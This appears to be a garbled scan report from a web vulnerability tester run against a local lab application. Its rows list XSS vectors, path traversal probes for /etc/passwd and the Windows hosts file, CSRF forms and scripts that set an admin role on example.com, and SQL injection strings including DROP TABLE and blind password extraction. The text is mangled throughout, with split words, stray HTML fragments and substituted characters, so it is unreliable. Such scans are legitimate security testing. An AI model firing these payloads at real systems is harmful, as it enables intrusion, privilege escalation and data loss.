XSS	http://localhost:8000/v ulnerabilities/upload	'"> <script>alert('XSS')< /script></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/upload</td><td><pre><img src=x onerror=alert('XSS')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/upload</td><td>⟨svg/onload=alert('XSS ')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/upload</td><td>⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr></tbody></table></script>			

XSS	http://localhost:8000/v ulnerabilities/upload	⟨body onload=alert('XSS')⟩	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/upload	<pre></pre>	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/upload	⟨input autofocus onfocus=alert('XSS')⟩	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/upload	<pre><video><source onerror="alert('XSS')"/></video></pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/upload	⟨a href='javascript:aler t(XSS)'⟩Click⟨/a⟩	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/upload	⟨p/onclick=alert(/XSS/) ⟩a	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/upload	⟨script⟩\$=1,alert(\$)⟨/s cript⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/upload	⟨script⟩alert(1)	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/upload	⟨script⟩alert(1)⟨!XSS	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/upload	"> <svg onload="confir&lt;br">m(1)&gt;</svg>	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/vulnerabilities/upload	<pre><math><mtext><script>alert('XSS')</ script></math></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/upload</td><td>⟨button form=test onf ormchange=alert(1)⟩</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/vulnerabilities/upload</td><td><pre><form><button formac tion="javascript:alert(1 )"></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/upload</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/upload</td><td>'"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/upload</td><td>//etc/passwd</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/upload</td><td>%2f%2fetc%2fpass wd</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/upload</td><td>₩₩windows₩syste m32₩drivers₩etc₩ho sts</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/upload</td><td>%5c%5cwindows %5csystem32%5cdriv ers%5cetc%5chosts</td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/upload</td><td>⟨a href='http://exampl e.com/api/setusernam e?username=CSRFd'⟩C lick Me⟨/a⟩</td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/upload</td><td><pre><img src='http://exam ple.com/api/setuserna me?username=CSRFd' ></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr></tbody></table></script></mtext></math></pre>			

csrf	http://localhost:8000/v ulnerabilities/upload	<pre> ⟨form action='http://e xample.com/api/setuse rname' enctype='text/plain' m ethod='POST'⟩⟨input name='username' type='hidden' value='CSRFd' /⟩⟨input type='submit' value='Submit Request' /⟩⟨/form⟩</pre>	No vulnerability detected	200	0.03s
csrf	http://localhost:8000/vulnerabilities/upload	<pre><form action="http://example .com/api/setusername" enctype="text/plain" ethod="POST" id="autosubmit" m=""><input name="username" type="hidden" value="CSRFd"/><input type="submit" value="Submit Request"/></form><scr ipt="">document.getElem entByld('autosubmit').s ubmit();</scr></pre>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/upload	<pre><script>var xhr = new XMLHttpRequest();xhr. open('GET', 'http://exa mple.com/api/currentu ser');xhr.send();</script></pre>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/upload	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.setRequestHeade r('Content-Type', 'text/ plain');xhr.send('{"role" :admin}');⟨/script⟩ </pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/v ulnerabilities/upload	<pre><form action="http://example .com/api/setrole" enctype="text/plain" ethod="POST" id="CSRF_POC" m=""><input name='{"role":admin, "other":"' type="hidden" value='"}'/> </form><script>docum ent.getElementById('C SRF_POC').submit();</s cript></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr></tbody></table></script></pre>			

csrf	http://localhost:8000/v ulnerabilities/upload	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.withCredentials = true;xhr.setRequestHe ader('Content-Type', 'a pplication/json;charset =UTF-8');xhr.send('{"ro le":admin}');⟨/script⟩ </pre>	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli	' OR '1'='1	No vulnerability detected	200	0.03s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli	' OR 1=1	SQL Injection	200	0.05s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli	' OR 'a'='a	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli	'; DROP TABLE users;	SQL Injection	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli	' OR '1'='1' /*	SQL Injection	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli	' OR '1'='1' ({	SQL Injection	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli	admin'	SQL Injection	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli	' OR '1'='1' #	No vulnerability detected	200	0.03s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli	1' OR sleep(5)	SQL Injection	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli	' UNION SELECT NULL, NULL, NULL	SQL Injection	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli	' AND 1=2 UNION SELECT 1,2,3	SQL Injection	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/sqli	' OR EXISTS(SELECT * FROM users)	SQL Injection	200	0.02s
sql_injecti	http://localhost:8000/v ulnerabilities/sqli	' OR (SELECT COUNT(*) FROM infor mation_schema.tables) > 0	SQL Injection	200	0.02s
sql_injecti	http://localhost:8000/v ulnerabilities/sqli	' AND (SELECT SUBSTR ING(password,1,1) FROM users LIMIT 1)='a'	SQL Injection	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/sqli	⟨script⟩alert('XSS')⟨/script⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/sqli	'"> <script>alert('XSS')< /script></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/sqli</td><td>⟨img src=x onerror=alert('XSS')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/sqli</td><td><pre><svg/onload=alert('XSS ')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/sqli</td><td>⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr></tbody></table></script>			

	T	Т	T		
XSS	http://localhost:8000/v ulnerabilities/sqli	〈body onload=alert('XSS')〉	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/sqli	<pre></pre>	No vulnerability detected	200	0.04s
XSS	http://localhost:8000/v ulnerabilities/sqli	⟨input autofocus onfocus=alert('XSS')⟩	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/sqli	<pre><video><source onerror="alert('XSS')"/></video></pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/sqli	⟨a href='javascript:aler t(XSS)'⟩Click⟨/a⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/sqli	<pre><p onclick="alert(/XSS/)">a</p></pre>	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/sqli	⟨script⟩\$=1,alert(\$)⟨/s cript⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/sqli	⟨script⟩alert(1)	No vulnerability detected	200	0.03s
XSS	http://localhost:8000/v ulnerabilities/sqli	⟨script⟩alert(1)⟨!XSS	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/sqli	"> <svg onload="confir&lt;br">m(1)&gt;</svg>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/sqli	<pre><math><mtext><script>alert('XSS')</ script></math></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/sqli</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/sqli</td><td><pre><form><button formac tion="javascript:alert(1 )"></pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/sqli</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/sqli</td><td>'"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/sqli</td><td>//etc/passwd</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/sqli</td><td>%2f%2fetc%2fpass wd</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/sqli</td><td>₩₩windows₩syste m32₩drivers₩etc₩ho sts</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/sqli</td><td>%5c%5cwindows %5csystem32%5cdriv ers%5cetc%5chosts</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/sqli</td><td>⟨a href='http://exampl e.com/api/setusernam e?username=CSRFd'⟩C lick Me⟨/a⟩</td><td>CSRF</td><td>200</td><td>0.01s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/sqli</td><td><pre><img src='http://exam ple.com/api/setuserna me?username=CSRFd' ></pre></td><td>CSRF</td><td>200</td><td>0.01s</td></tr></tbody></table></script></mtext></math></pre>			

csrf	http://localhost:8000/v ulnerabilities/sqli	<pre> ⟨form action='http://e xample.com/api/setuse rname' enctype='text/plain' m ethod='POST'⟩⟨input name='username' type='hidden' value='CSRFd' /⟩⟨input type='submit' value='Submit Request' /⟩⟨/form⟩ </pre>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/v ulnerabilities/sqli	<pre><form action="http://example .com/api/setusername" enctype="text/plain" ethod="POST" id="autosubmit" m=""><input name="username" type="hidden" value="CSRFd"/><input type="submit" value="Submit Request"/></form><scr ipt="">document.getElem entByld('autosubmit').s ubmit();</scr></pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/v ulnerabilities/sqli	<pre><script>var xhr = new XMLHttpRequest();xhr. open('GET', 'http://exa mple.com/api/currentu ser');xhr.send();</script></pre>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/v ulnerabilities/sqli	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.setRequestHeade r('Content-Type', 'text/ plain');xhr.send('{"role" ;admin}');⟨/script⟩ </pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/v ulnerabilities/sqli	<pre> ⟨form id='CSRF_POC' action='http://example .com/api/setrole' enctype='text/plain' m ethod='POST')⟨input type='hidden' name='{"role":admin, "other":"' value='"}' /&gt; ⟨/form)⟨script⟩docum ent.getElementByld('C SRF_POC').submit();⟨/s cript⟩</pre>	CSRF	200	0.02s

	http://localhost:8000/v	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.withCredentials = true;xhr.setRequestHe ader('Content-Type', 'a pplication/json;charset =UTF-8');xhr.send('{"ro} </pre>	No vulnerability		
csrf	ulnerabilities/sqli	le":admin}');	detected	200	0.01s